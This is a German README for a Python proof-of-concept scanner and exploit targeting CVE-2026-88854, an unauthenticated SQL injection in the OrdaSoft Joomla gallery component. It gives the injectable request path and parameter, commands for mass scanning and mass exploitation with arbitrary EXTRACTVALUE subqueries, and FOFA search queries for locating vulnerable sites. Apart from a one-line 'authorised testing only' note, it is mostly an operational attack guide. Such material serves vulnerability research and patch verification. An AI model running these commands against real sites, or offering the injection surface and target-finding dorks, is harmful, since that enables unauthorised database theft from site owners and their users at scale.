
Python-3-PoC-Scanner und Exploit für CVE-2026-88854, eine nicht authentifizierte SQL-Injection in OrdaSoft Joomla Gallery, mit Massenprüfung und EXTRACTVALUE-Datenlesemodi.
Python-3-PoC-Scanner/Exploit für CVE-2026-88854 in OrdaSoft OS Responsive Image Gallery für Joomla.
| Komponente | com_osgallery, com_osgallery_light |
| Betroffen | 1.0.0 – 6.2.6 |
| Behoben in | 6.2.7+ |
| CVSS 4.0 | 9.3 (Kritisch) |
| Auth | Keine (öffentliches mod_osgallery_search) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() lesen textsearch / searchText über $input->getVar(), wodurch keine ordnungsgemäße SQL-Escaping erfolgt. Der Wert wird in eine LIKE-Klausel konkateniert. Nicht authentifizierte Besucher können eine UNION-artige Injection nutzen, um Datenbankinhalte auszulesen.
Typische Request-Oberfläche:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
Bei Legacy-Installationen kann der Task-Name searhResult (Tippfehler) verwendet werden.
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strikte SQLi-Prüfung (Fehler / Zeit / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Massenprüfung
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL fehlerbasierte Auslesung (Standard-Subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Massen-Exploit (schreibt Leaks in exploited.txt, nicht hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Eine vorherige Massenprüfung nach Manifest-Version neu einstufen (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| Datei | Inhalt |
|---|---|
cve_2026_88854_results.jsonl | JSON pro Ziel |
hits.txt | Kandidaten-URLs (exploitable_candidate) |
status-Werte (Check)audit_scan.py)Nach einer Massen-Prüfung audit_scan.py ausführen, um Administrator-Manifeste erneut abzurufen und Ziele aufzuteilen:
Die Galerieversion wird aus dem <version>-Element in administrator/components/com_osgallery/osgallery.xml gelesen, nicht aus dem Joomla-Attribut extension version=.
EXTRACTVALUE; MariaDB/Postgres, deaktivierte Fehler oder WAF können keinen Leak liefern, selbst wenn die CVE zutrifft.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Lokale Zieldateien und Laufzeit-Artefakte (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) befinden sich in .gitignore und sollten nicht committet werden.
Nur für autorisiertes Sicherheitstesting. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.
| Option | Beschreibung |
|---|
-u, --url | Einzelne Ziel-Basis-URL (Unterverzeichnis-Installationen: Pfad angeben) |
--list | Zieldatei (eine URL pro Zeile) |
--mode | check oder exploit |
--subquery | SQL innerhalb von EXTRACTVALUE (Exploit-Modus, Standard SELECT VERSION()) |
--threads, -j | Massenparallelität (Standard 20) |
--timeout | HTTP-Timeout in Sekunden (Standard 20) |
--proxy | HTTP(S)-Proxy-URL |
--output | JSONL-Ergebnisse (Standard cve_2026_88854_results.jsonl) |
--vuln-list | Check → hits.txt; Exploit → exploited.txt |
--quiet, -q | Weniger Fortschrittsausgabe |
| Status | Bedeutung |
|---|
sqli_confirmed | Fehler-/zeitbasierte SQLi oder verifizierter EXTRACTVALUE-Leak |
likely_vulnerable_version | Manifest-Version ≤ 6.2.6 + Such-Endpunkt |
likely_component | Galerie erkannt, Version unbekannt |
boolean_inconclusive | Nur Antwortlängen-Differenz (oft WAF); nicht als bestätigt gezählt |
patched_version | Manifest-Version > 6.2.6 |
component_no_search_endpoint | Komponente vorhanden, Such-Task nicht erreichbar |
no_component | com_osgallery nicht erkannt |
| Datei | Inhalt |
|---|
hits_version_lte_626.txt | Manifest-Galerieversion ≤ 6.2.6 |
hits_component_endpoint.txt | Galerie + Endpunkt, Version nicht lesbar |
hits_patched.txt | Manifest > 6.2.6 |
fofa_stale.txt | Keine Komponente (veraltete FOFA-Zeile) |
cve_2026_88854_audit.jsonl | Angereichertes JSONL |